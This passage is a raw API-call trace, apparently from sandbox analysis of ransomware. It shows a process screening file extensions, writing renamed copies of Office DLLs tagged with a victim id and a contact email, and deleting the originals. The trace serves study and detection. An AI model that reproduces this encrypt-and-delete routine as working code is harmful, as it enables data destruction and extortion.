lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0059.633] lstrlenW (lpString=".ppt") returned 4 [0059.633] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.634] lstrlenW (lpString=".zip") returned 4 [0059.634] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString=".rar") returned 4 [0059.634] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString=".bz2") returned 4 [0059.634] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString=".7z") returned 3 [0059.634] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.634] lstrlenW (lpString=".dbf") returned 4 [0059.634] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.634] lstrlenW (lpString=".1cd") returned 4 [0059.634] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.634] lstrlenW (lpString=".jpg") returned 4 [0059.634] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.634] lstrlenW (lpString=".doc") returned 4 [0059.634] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString=".docx") returned 5 [0059.634] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0059.634] lstrlenW (lpString=".pdf") returned 4 [0059.634] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString=".xls") returned 4 [0059.634] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0059.634] lstrlenW (lpString=".xlsx") returned 5 [0059.634] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0059.634] lstrlenW (lpString=".ppt") returned 4 [0059.635] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.635] lstrlenW (lpString=".zip") returned 4 [0059.635] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0059.635] lstrlenW (lpString=".rar") returned 4 [0059.635] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0059.635] lstrlenW (lpString=".bz2") returned 4 [0059.635] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0059.635] lstrlenW (lpString=".7z") returned 3 [0059.635] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.635] lstrlenW (lpString=".dbf") returned 4 [0059.635] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.635] lstrlenW (lpString=".1cd") returned 4 [0059.635] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.635] lstrlenW (lpString=".jpg") returned 4 [0059.635] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0059.635] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0059.635] lstrlenW (lpString="ACEERR.DLL") returned 10 [0059.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.006] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=43408) returned 1 [0061.006] CloseHandle (hObject=0x1c4) returned 1 [0061.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0061.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.007] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.007] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0061.007] GetLastError () returned 0x0 [0061.007] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0xa990, lpOverlapped=0x0) returned 1 [0061.011] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xa9a0, lpOverlapped=0x0) returned 1 [0061.012] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0061.012] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.012] SetEndOfFile (hFile=0x22c) returned 1 [0061.012] CloseHandle (hObject=0x22c) returned 1 [0061.013] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.013] SetEndOfFile (hFile=0x1c4) returned 1 [0061.014] CloseHandle (hObject=0x1c4) returned 1 [0061.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.014] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 1 [0061.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.014] lstrlenW (lpString=".doc") returned 4 [0061.014] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.014] lstrlenW (lpString=".docx") returned 5 [0061.014] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0061.014] lstrlenW (lpString=".pdf") returned 4 [0061.014] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.014] lstrlenW (lpString=".xls") returned 4 [0061.014] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.014] lstrlenW (lpString=".xlsx") returned 5 [0061.014] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0061.014] lstrlenW (lpString=".ppt") returned 4 [0061.014] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.014] lstrlenW (lpString=".zip") returned 4 [0061.014] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.014] lstrlenW (lpString=".rar") returned 4 [0061.014] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.015] lstrlenW (lpString=".bz2") returned 4 [0061.015] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.015] lstrlenW (lpString=".7z") returned 3 [0061.015] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.015] lstrlenW (lpString=".dbf") returned 4 [0061.015] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.015] lstrlenW (lpString=".1cd") returned 4 [0061.015] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.015] lstrlenW (lpString=".jpg") returned 4 [0061.015] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.015] lstrlenW (lpString=".doc") returned 4 [0061.015] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.015] lstrlenW (lpString=".docx") returned 5 [0061.015] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0061.015] lstrlenW (lpString=".pdf") returned 4 [0061.015] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.015] lstrlenW (lpString=".xls") returned 4 [0061.015] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.015] lstrlenW (lpString=".xlsx") returned 5 [0061.015] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0061.015] lstrlenW (lpString=".ppt") returned 4 [0061.015] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.015] lstrlenW (lpString=".zip") returned 4 [0061.015] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.015] lstrlenW (lpString=".rar") returned 4 [0061.015] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.016] lstrlenW (lpString=".bz2") returned 4 [0061.016] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.016] lstrlenW (lpString=".7z") returned 3 [0061.016] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.016] lstrlenW (lpString=".dbf") returned 4 [0061.016] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.016] lstrlenW (lpString=".1cd") returned 4 [0061.016] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0061.016] lstrlenW (lpString=".jpg") returned 4 [0061.016] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.016] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0061.016] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0061.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.017] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=15800) returned 1 [0061.017] CloseHandle (hObject=0x1c4) returned 1 [0061.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0061.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.017] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.017] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0061.017] GetLastError () returned 0x0 [0061.017] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x3db8, lpOverlapped=0x0) returned 1 [0061.032] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0061.033] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0061.033] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.034] SetEndOfFile (hFile=0x22c) returned 1 [0061.034] CloseHandle (hObject=0x22c) returned 1 [0061.034] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.034] SetEndOfFile (hFile=0x1c4) returned 1 [0061.035] CloseHandle (hObject=0x1c4) returned 1 [0061.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.035] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.035] lstrlenW (lpString=".doc") returned 4 [0061.035] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.035] lstrlenW (lpString=".docx") returned 5 [0061.035] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0061.035] lstrlenW (lpString=".pdf") returned 4 [0061.035] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.035] lstrlenW (lpString=".xls") returned 4 [0061.035] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.035] lstrlenW (lpString=".xlsx") returned 5 [0061.036] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0061.036] lstrlenW (lpString=".ppt") returned 4 [0061.036] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.036] lstrlenW (lpString=".zip") returned 4 [0061.036] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.036] lstrlenW (lpString=".rar") returned 4 [0061.036] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.036] lstrlenW (lpString=".bz2") returned 4 [0061.036] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.036] lstrlenW (lpString=".7z") returned 3 [0061.036] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.036] lstrlenW (lpString=".dbf") returned 4 [0061.036] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.036] lstrlenW (lpString=".1cd") returned 4 [0061.036] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.036] lstrlenW (lpString=".jpg") returned 4 [0061.036] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.036] lstrlenW (lpString=".doc") returned 4 [0061.036] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.036] lstrlenW (lpString=".docx") returned 5 [0061.036] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0061.036] lstrlenW (lpString=".pdf") returned 4 [0061.036] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.036] lstrlenW (lpString=".xls") returned 4 [0061.036] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.036] lstrlenW (lpString=".xlsx") returned 5 [0061.036] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0061.037] lstrlenW (lpString=".ppt") returned 4 [0061.037] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.037] lstrlenW (lpString=".zip") returned 4 [0061.037] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.037] lstrlenW (lpString=".rar") returned 4 [0061.037] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.037] lstrlenW (lpString=".bz2") returned 4 [0061.037] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.037] lstrlenW (lpString=".7z") returned 3 [0061.037] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.037] lstrlenW (lpString=".dbf") returned 4 [0061.037] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.037] lstrlenW (lpString=".1cd") returned 4 [0061.037] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0061.037] lstrlenW (lpString=".jpg") returned 4 [0061.037] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.038] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0061.038] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0061.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.039] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=15800) returned 1 [0061.039] CloseHandle (hObject=0x1c4) returned 1 [0061.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0061.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.039] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.039] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0061.040] GetLastError () returned 0x0 [0061.040] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x3db8, lpOverlapped=0x0) returned 1 [0061.041] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0061.042] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0061.042] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.043] SetEndOfFile (hFile=0x22c) returned 1 [0061.043] CloseHandle (hObject=0x22c) returned 1 [0061.043] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.043] SetEndOfFile (hFile=0x1c4) returned 1 [0061.044] CloseHandle (hObject=0x1c4) returned 1 [0061.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.044] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 1 [0061.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.044] lstrlenW (lpString=".doc") returned 4 [0061.044] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.044] lstrlenW (lpString=".docx") returned 5 [0061.044] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0061.044] lstrlenW (lpString=".pdf") returned 4 [0061.044] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.044] lstrlenW (lpString=".xls") returned 4 [0061.044] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.044] lstrlenW (lpString=".xlsx") returned 5 [0061.044] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0061.044] lstrlenW (lpString=".ppt") returned 4 [0061.044] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.044] lstrlenW (lpString=".zip") returned 4 [0061.044] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.045] lstrlenW (lpString=".rar") returned 4 [0061.045] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.045] lstrlenW (lpString=".bz2") returned 4 [0061.045] 